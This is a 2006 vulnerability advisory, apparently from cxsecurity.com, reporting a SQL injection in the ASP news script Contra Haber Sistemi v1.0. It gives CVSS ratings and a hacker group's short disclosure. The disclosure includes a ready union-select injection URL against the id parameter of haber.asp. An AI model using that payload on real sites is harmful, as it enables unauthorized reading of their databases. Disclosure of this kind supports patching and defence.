Contra Haber Sistemi v1.0 SqL Injection Vuln.

2006.12.20
Credit: ShaFuck31
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# LiderHack.Org & BhhGroup.Org # script name : Contra Haber Sistemi v1.0 # Script Download : http://www.maxiasp.com/scriptler/Haber_Sistemi.rar # Risk : High # Found By : ShaFuck31 # Thanks : | Dekolax | The RD | CyBorG | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT | BLaSTER | B1G B0SS | UNiKnoX | # Vulnerable file : haber.asp #Vulnerable : Vulnerable -----> http://victim.com/[path to script]/haber.asp?id=[SqL] Vulnerable ----->http://victim.com/[path to script]/haber.asp?id=-1%20union%20select%20*%20from%20haberler%20where%2 0id=82 #Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top